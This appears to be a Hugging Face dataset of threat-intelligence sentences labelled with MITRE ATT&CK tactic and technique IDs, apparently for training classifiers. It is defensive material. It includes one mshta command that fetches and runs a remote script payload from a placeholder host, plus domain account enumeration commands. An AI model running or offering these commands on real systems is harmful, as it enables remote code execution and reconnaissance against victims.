madox81/Adema_ATTACK_DS huggingface dataset:
Input: It is commonly sold on various hacking forums as a keylogger and stealer that can be used to monitor systems and exfiltrate information from those systems

Tactics: TA0006, TA0009
Techniques: T1056
Input: Rocke has installed a systemd service script to maintain persistence.

Tactics: TA0003, TA0004
Techniques: T1543.002, T1543
Input: To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.

Tactics: TA0003, TA0004
Techniques: T1037.004, T1037
Input: A variety of methods exist for compromising social media accounts, such as gathering credentials via Phishing for Information, purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).

Tactics: TA0042
Techniques: T1586.001, T1586
Input: APT18 can collect system information from the victim’s machine.

Tactics: TA0007
Techniques: T1082
Input: Pupy can migrate into another process using reflective DLL injection.

Tactics: TA0004, TA0005
Techniques: T1055, T1055.001
Input: Reaver encrypts collected data with an incremental XOR key prior to exfiltration.

Tactics: TA0009
Techniques: T1560.003, T1560
Input: CallMe has the capability to download a file to the victim from the C2 server.

Tactics: TA0011
Techniques: T1105
Input: Monitor for changes made to processes that may inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges.

Tactics: TA0004, TA0005
Techniques: T1055.003, T1055
Input: Sidewinder has used VBScript to drop and execute malware loaders.

Tactics: TA0002
Techniques: T1059.005, T1059
Input: CosmicDuke steals user files from local hard drives with file extensions that match a predefined list.

Tactics: TA0009
Techniques: T1005
Input: VERMIN can perform screen captures of the victim’s machine.

Tactics: TA0009
Techniques: T1113
Input: APT3 has a tool that exfiltrates data over the C2 channel.

Tactics: TA0010
Techniques: T1041
Input: APIs from the following libraries are loaded at runtime:  Kernel32.dll Ws2_32/wsock32.dll Apvapi32.dll Oleaut32.dll Iphlp.dll Urlmon.dll  A dynamic API loaded by the malware

Tactics: TA0003, TA0004, TA0005
Techniques: T1574.001, T1574.002, T1055, T1574
Input: Administrators may also block end-user consent through administrative portals, such as the Azure Portal, disabling users from authorizing third-party apps through OAuth and forcing administrative consent.

Tactics: TA0005, TA0008
Techniques: T1550.001, T1550
Input: Octopus can collect the host IP address from the victim’s machine.

Tactics: TA0007
Techniques: T1016
Input: NETEAGLE can use HTTP to download resources that contain an IP address and port number pair to connect to for C2.

Tactics: TA0011
Techniques: T1568
Input: jRAT can capture passwords from common chat applications such as MSN Messenger, AOL, Instant Messenger, and and Google Talk.

Tactics: TA0006
Techniques: T1552.001, T1552
Input: Implementing static ARP entries may be infeasible for large networks.

Tactics: TA0006, TA0009
Techniques: T1557, T1557.002
Input: Adversaries may develop malware to support their operations, creating a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.

Tactics: TA0042
Techniques: T1587, T1587.001
Input: DarkWatchman can collect the time zone information from the system.

Tactics: TA0007
Techniques: T1124
Input: Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.

Tactics: TA0007
Techniques: T1049
Input: ConnectWise can take screenshots on remote hosts.

Tactics: TA0009
Techniques: T1113
Input: Metamorfo's C2 communication has been encrypted using OpenSSL.

Tactics: TA0011
Techniques: T1573, T1573.002
Input: Guessing passwords can be a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies.

Tactics: TA0006
Techniques: T1110, T1110.001
Input: Reaver queries the Registry to determine the correct Startup path to use for persistence.

Tactics: TA0007
Techniques: T1012
Input: Inception used chains of compromised routers to proxy C2 communications between them and cloud service providers.

Tactics: TA0011
Techniques: T1090.003, T1090
Input: MegaCortex has used .cmd scripts on the victim's system.

Tactics: TA0002
Techniques: T1059.003, T1059
Input: Cobian RAT creates an autostart Registry key to ensure persistence.

Tactics: TA0003, TA0004
Techniques: T1547.001, T1547
Input: Monitor for unexpected deletions of a running process (ex: Sysmon EID 5 or Windows EID 4689) that may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms.

Tactics: TA0005
Techniques: T1562
Input: APT29 used cmd.exe to execute commands on remote machines.

Tactics: TA0002
Techniques: T1059.003, T1059
Input: In contrast to the two samples used in these attacks, this one did not use a PE attachment, and instead used a Microsoft Word document containing a malicious macro as the delivery vehicle

Tactics: TA0001
Techniques: T1566, T1566.001
Input: Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility.

Tactics: TA0005
Techniques: T1218.009, T1218
Input: Set account lockout policies after a certain number of failed login attempts to prevent passwords from being guessed.

Tactics: TA0006
Techniques: T1110.004, T1110, T1110.001, T1110.003
Input: GeminiDuke collects information on network settings and Internet proxy settings from the victim.

Tactics: TA0007
Techniques: T1016
Input: Alternatively, the SAM can be extracted from the Registry with Reg:

Tactics: TA0006
Techniques: T1003, T1003.002
Input: Once forged, adversaries may use these web credentials to access resources (ex: Use Alternate Authentication Material), which may bypass multi-factor and other authentication protection mechanisms.

Tactics: TA0006
Techniques: T1606
Input: Siloscape has leveraged a vulnerability in Windows containers to perform an Escape to Host.

Tactics: TA0004
Techniques: T1068
Input: Green Lambert has created a new executable named Software Update Check to appear legitimate.

Tactics: TA0005
Techniques: T1036.004, T1036
Input: Monitor for newly executed daemons that may abuse launchctl to execute commands or programs.

Tactics: TA0002
Techniques: T1569.001, T1569
Input: BLACKCOFFEE has the capability to discover processes.

Tactics: TA0007
Techniques: T1057
Input: Regsvr32.exe can also be leveraged to register a COM Object used to establish persistence via Component Object Model Hijacking.

Tactics: TA0005
Techniques: T1218, T1218.010
Input: jRAT can support RDP control.

Tactics: TA0008
Techniques: T1021.001, T1021
Input: The scripts create scheduled tasks and also retrieve, decode, and execute a copy of Revenge RAT

Tactics: TA0002, TA0003, TA0004
Techniques: T1053.005, T1053
Input: Sharepoint audit logging can also be configured to report when a user shares a resource.

Tactics: TA0009
Techniques: T1213
Input: Adversaries may leverage traffic mirroring in order to automate data exfiltration over compromised network infrastructure.

Tactics: TA0010
Techniques: T1020.001, T1020
Input: Tools may be placed on infrastructure that was previously purchased/rented by the adversary (Acquire Infrastructure) or was otherwise compromised by them (Compromise Infrastructure).

Tactics: TA0042
Techniques: T1608, T1608.002
Input: Consider using application control to prevent execution of hh.exe if it is not required for a given system or network to prevent potential misuse by adversaries.

Tactics: TA0005
Techniques: T1218, T1218.001
Input: Command_Update_Server:  This command passes the string “Gh0st Update” to the malware sample before running the sample again.  When the sample restarts, it detects the “Gh0st Update” command line arg, and connects to the server in order to update the sample.  Command_Clean_Event:  This command locates and deletes all of the event logs on the system

Tactics: TA0002, TA0005, TA0011
Techniques: T1070, T1090.003, T1090, T1070.004, T1102, T1059
Input: Another JHUHUGIT variant gathers the victim storage volume serial number and the storage device name.

Tactics: TA0007
Techniques: T1082
Input: Bad Rabbit has used various Windows API calls.

Tactics: TA0002
Techniques: T1106
Input: Adversaries may upload malware to support their operations, such as making a payload available to a victim network to enable Ingress Tool Transfer by placing it on an Internet accessible web server.

Tactics: TA0042
Techniques: T1608.001, T1608
Input: Gamaredon Group malware can insert malicious macros into documents using a Microsoft.Office.Interop object.

Tactics: TA0002
Techniques: T1559, T1559.001
Input: APT12 has used the RIPTIDE RAT, which communicates over HTTP with a payload encrypted with RC4.

Tactics: TA0011
Techniques: T1573, T1573.001
Input: Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies, tokens, or other materials to authenticate and authorize user access.

Tactics: TA0006
Techniques: T1606
Input: APT32's backdoor has used Windows services as a way to execute its malicious payload.

Tactics: TA0002
Techniques: T1569.002, T1569
Input: HAMMERTOSS exfiltrates data by uploading it to accounts created by the actors on Web cloud storage providers for the adversaries to retrieve later.

Tactics: TA0010
Techniques: T1567.002, T1567
Input: AADInternals can modify registry keys as part of setting a new pass-through authentication agent.

Tactics: TA0005
Techniques: T1112
Input: Word Normal.dotm location:C:\Users\<username>\AppData\Roaming\Microsoft\Templates\Normal.dotm

Tactics: TA0003
Techniques: T1137, T1137.001
Input: Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4769, 4768), RC4 encryption within TGTs, and TGS requests without preceding TGT requests.

Tactics: TA0006
Techniques: T1558, T1558.001
Input: NanoCore gathers the IP address from the victim’s machine.

Tactics: TA0007
Techniques: T1016
Input: Rather than finding/modifying exploits from online or purchasing them from exploit vendors, an adversary may develop their own exploits.

Tactics: TA0042
Techniques: T1587, T1587.004
Input: HAFNIUM has exploited CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065  to compromise on-premises versions of Microsoft Exchange Server, enabling access to email accounts and installation of additional malware.

Tactics: TA0001
Techniques: T1190
Input: LoudMiner launched the QEMU services in the /Library/LaunchDaemons/ folder using launchctl.

Tactics: TA0002
Techniques: T1569.001, T1569
Input: Adversaries may install malicious ISAPI extensions and filters to observe and/or modify traffic, execute commands on compromised machines, or proxy command and control traffic.

Tactics: TA0003
Techniques: T1505.004, T1505
Input: Darkhotel used embedded iframes on hotel login portals to redirect selected victims to download malware.

Tactics: TA0001
Techniques: T1189
Input: Bazar can query the Registry for installed applications.

Tactics: TA0007
Techniques: T1518
Input: Routinely check user permissions to ensure only the expected users have the ability to list IAM identities or otherwise discover cloud accounts.

Tactics: TA0007
Techniques: T1087, T1087.004
Input: Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment.

Tactics: TA0003
Techniques: T1098.001, T1098
Input: Spark has used a splash screen to check whether an user actively clicks on the screen before running malicious code.

Tactics: TA0005, TA0007
Techniques: T1497, T1497.002
Input: APT37's Freenki malware lists running processes using the Microsoft Windows API.

Tactics: TA0007
Techniques: T1057
Input: APT37 has used strategic web compromises, particularly of South Korean websites, to distribute malware.

Tactics: TA0001
Techniques: T1189
Input: Monitor social media traffic for suspicious activity, including messages requesting information as well as abnormal file or data transfers (especially those involving unknown, or otherwise suspicious accounts).Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

Tactics: TA0043
Techniques: T1598.001, T1598
Input: Monitor for newly executed processes that may attempt to access detailed information about the password policy used within an enterprise network or cloud environment.

Tactics: TA0007
Techniques: T1201
Input: QakBot has the ability to check running processes.

Tactics: TA0007
Techniques: T1057
Input: Cobalt Strike can SSH to a remote service.

Tactics: TA0008
Techniques: T1021, T1021.004
Input: This ensures that an adversary possessing the corresponding private key may log in as an existing user via SSH.

Tactics: TA0003
Techniques: T1098.004, T1098
Input: W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients.

Tactics: TA0003, TA0004
Techniques: T1547.003, T1547
Input: Files may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))

Tactics: TA0005
Techniques: T1218.005, T1218
Input: Monitor executed commands and arguments that may abuse Visual Basic (VB) for execution.

Tactics: TA0002
Techniques: T1059.005, T1059
Input: This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password.

Tactics: TA0004, TA0005
Techniques: T1548.003, T1548
Input: Kimsuky has enumerated drives, OS type, OS version, and other information using a script or the "systeminfo" command.

Tactics: TA0007
Techniques: T1082
Input: On Windows 10, enable Attack Surface Reduction (ASR) rules to prevent malware from abusing WMI to attain persistence.

Tactics: TA0003, TA0004
Techniques: T1546.003, T1546
Input: TajMahal has the ability to identify connected Apple devices.

Tactics: TA0007
Techniques: T1120
Input: Threat Group-3390 also leveraged the reconnaissance framework, ScanBox, to capture keystrokes.

Tactics: TA0006, TA0009
Techniques: T1056.001, T1056
Input: Exaramel for Linux can attempt to find a new C2 server if it receives an error.

Tactics: TA0011
Techniques: T1008
Input: Nebulae can discover logical drive information including the drive type, free space, and volume information.

Tactics: TA0007
Techniques: T1082
Input: The PATH environment variable contains a list of directories.

Tactics: TA0003, TA0004, TA0005
Techniques: T1574.007, T1574
Input: ObliqueRAT can check for blocklisted process names on a compromised host.

Tactics: TA0007
Techniques: T1057
Input: Crimson contains a module to collect data from removable drives.

Tactics: TA0009
Techniques: T1025
Input: Figure 15: Structure used to send data to server    Figure 16: Structure used to send data to C2 server The structure is converted to Base64 using the CryptBinaryToStringA function

Tactics: TA0010
Techniques: T1048
Input: menuPass has also issued the command net view /domain to a PlugX implant to gather information about remote systems on the network.

Tactics: TA0007
Techniques: T1018
Input: ZxShell can create a new service for execution.

Tactics: TA0002
Techniques: T1569.002, T1569
Input: Ebury has obfuscated its strings with a simple XOR encryption with a static key.

Tactics: TA0005
Techniques: T1027
Input: The original variant of FakeM encrypts C2 traffic using a custom encryption cipher that uses an XOR key of "YHCRA" and bit rotation between each XOR operation.

Tactics: TA0011
Techniques: T1573, T1573.001
Input: BBSRAT uses Expand to decompress a CAB file into executable content.

Tactics: TA0005
Techniques: T1140
Input: Comnie is able to achieve persistence via a .lnk file that is stored within the victim’s startup path

Tactics: TA0003, TA0004
Techniques: T1547.009, T1547
Input: The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis.

Tactics: TA0005
Techniques: T1207
Input: BLUELIGHT can collect IP information from the victim’s machine.

Tactics: TA0007
Techniques: T1016
Input: Xbash can obtain a list of weak passwords from the C2 server to use for brute forcing as well as attempt to brute force services with open ports.

Tactics: TA0006
Techniques: T1110, T1110.001
Input: In this situation it is necessary to first split the trusted and untrusted domains into separate forests where SID Filtering can be applied to an interforest trust

Tactics: TA0004, TA0005
Techniques: T1134.005, T1134
Input: Additionally, since StartupItems run during the bootup phase of macOS, they will run as the elevated root user.

Tactics: TA0003, TA0004
Techniques: T1037, T1037.005
Input: Figure 1: Contents of the Email A review of the email header data from the spear phishing messages showed that the threat actors sent the emails using the same infrastructure they have used in the past

Tactics: TA0001
Techniques: T1566, T1566.001
Input: KONNI has duplicated the token of a high integrity process to spawn an instance of cmd.exe under an impersonated user.

Tactics: TA0004, TA0005
Techniques: T1134.002, T1134
Input: Tomiris can download files and execute them on a victim's system.

Tactics: TA0011
Techniques: T1105
Input: Microphone, Voice IP applications

Tactics: TA0009
Techniques: T1123
Input: Monitor for newly constructed processes and/or command-lines that look for non-native binary formats and cross-platform compiler and execution frameworks like Mono and determine if they have a legitimate purpose on the system.

Tactics: TA0005
Techniques: T1027.004, T1027
Input: APT3 has a tool that can copy files to remote machines.

Tactics: TA0011
Techniques: T1105
Input: Kwampirs creates a new service named WmiApSrvEx to establish persistence.

Tactics: TA0003, TA0004
Techniques: T1543.003, T1543
Input: ROKRAT can extract clipboard data from a compromised host.

Tactics: TA0009
Techniques: T1115
Input: On Linux or macOS, when the setuid or setgid bits are set for an application binary, the application will run with the privileges of the owning user or group respectively.

Tactics: TA0004, TA0005
Techniques: T1548, T1548.001
Input: Lazarus Group has used schtasks for persistence including through the periodic execution of a remote XSL script or a dropped VBS payload.

Tactics: TA0002, TA0003, TA0004
Techniques: T1053.005, T1053
Input: Dark Caracal's version of Bandook adds a registry key to HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Run for persistence.

Tactics: TA0003, TA0004
Techniques: T1547.001, T1547
Input: Files can also be transferred using native or otherwise present tools on the victim system, such as scp, rsync, curl, sftp, and ftp.

Tactics: TA0008
Techniques: T1570
Input: Ebury can exfiltrate SSH credentials through custom DNS queries.

Tactics: TA0010
Techniques: T1041
Input: Adversaries may add new domain trusts or modify the properties of existing domain trusts to evade defenses and/or elevate privileges.

Tactics: TA0004, TA0005
Techniques: T1484, T1484.002
Input: InvisiMole gathers information on the IP forwarding table, MAC address, configured proxy, and network SSID.

Tactics: TA0007
Techniques: T1016
Input: APT28 installed a Delphi backdoor that used a custom algorithm for C2 communications.

Tactics: TA0011
Techniques: T1573, T1573.001
Input: OSX/Shlayer executes a .command script from a hidden directory in a mounted DMG.

Tactics: TA0005
Techniques: T1564, T1564.001
Input: Such web services can be abused during later stages of the adversary lifecycle, such as during Command and Control (Web Service) or Exfiltration Over Web Service.

Tactics: TA0042
Techniques: T1584, T1584.006
Input: Donut can download and execute previously staged shellcode payloads.

Tactics: TA0011
Techniques: T1105
Input: XTunnel uses SSL/TLS and RC4 to encrypt traffic.

Tactics: TA0011
Techniques: T1573, T1573.002
Input: Adversaries may abuse TxF to a perform a file-less variation of Process Injection.

Tactics: TA0004, TA0005
Techniques: T1055.013, T1055
Input: RDAT can communicate with the C2 via subdomains that utilize base64 with character substitutions.

Tactics: TA0011
Techniques: T1132, T1132.002
Input: Wingbird exploits CVE-2016-4117 to allow an executable to gain escalated privileges.

Tactics: TA0004
Techniques: T1068
Input: Auto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific.

Tactics: TA0009
Techniques: T1114
Input: Remcos can capture data from the system’s microphone.

Tactics: TA0009
Techniques: T1123
Input: KGH_SPY can send a file containing victim system information to C2.

Tactics: TA0009
Techniques: T1005
Input: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

Tactics: TA0003, TA0004
Techniques: T1547.001, T1547
Input: OilRig has run net user, net user /domain, net group "domain admins" /domain, and net group "Exchange Trusted Subsystem" /domain to get account listings on a victim.

Tactics: TA0007
Techniques: T1087.002, T1087, T1087.001
Input: Axiom has collected data from a compromised network.

Tactics: TA0009
Techniques: T1005
Input: Meteor execution begins from a scheduled task named Microsoft\Windows\Power Efficiency Diagnostics\AnalyzeAll and it creates a separate scheduled task called mstask to run the wiper only once at 23:55:00.

Tactics: TA0002, TA0003, TA0004
Techniques: T1053.005, T1053
Input: Indrik Spider used PsExec to leverage Windows Defender to disable scanning of all downloaded files and to restrict real-time monitoring.

Tactics: TA0005
Techniques: T1562.001, T1562
Input: Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.

Tactics: TA0005
Techniques: T1222.002, T1222, T1222.001
Input: Adversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means.

Tactics: TA0043
Techniques: T1598
Input: DarkVishnya scanned the network for public shared folders.

Tactics: TA0007
Techniques: T1135
Input: RawPOS installs itself as a service to maintain persistence.

Tactics: TA0003, TA0004
Techniques: T1543.003, T1543
Input: Kwampirs collects network adapter and interface information by using the commands ipconfig /all, arp -a and route print.

Tactics: TA0007
Techniques: T1016
Input: ChChes can encode C2 data with a custom technique that utilizes Base64.

Tactics: TA0011
Techniques: T1132.001, T1132
Input: Non-standard process execution trees may also indicate suspicious or malicious behavior.

Tactics: TA0003
Techniques: T1137
Input: PoetRAT has used ftp for exfiltration.

Tactics: TA0010
Techniques: T1048.003, T1048
Input: Monitor interactions with network shares, such as reads or file transfers, using Server Message Block (SMB).

Tactics: TA0008
Techniques: T1021, T1021.002
Input: at can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM).

Tactics: TA0002, TA0003, TA0004
Techniques: T1053, T1053.002
Input: CosmicDuke uses Windows services typically named "javamtsup" for persistence.

Tactics: TA0003, TA0004
Techniques: T1543.003, T1543
Input: Operation Wocao has discovered the local disks attached to the system and their hardware information including manufacturer and model, as well as the OS versions of systems connected to a targeted network.

Tactics: TA0007
Techniques: T1082
Input: Sakula calls cmd.exe to run various DLL files via rundll32 and also to perform file cleanup.

Tactics: TA0002
Techniques: T1059.003, T1059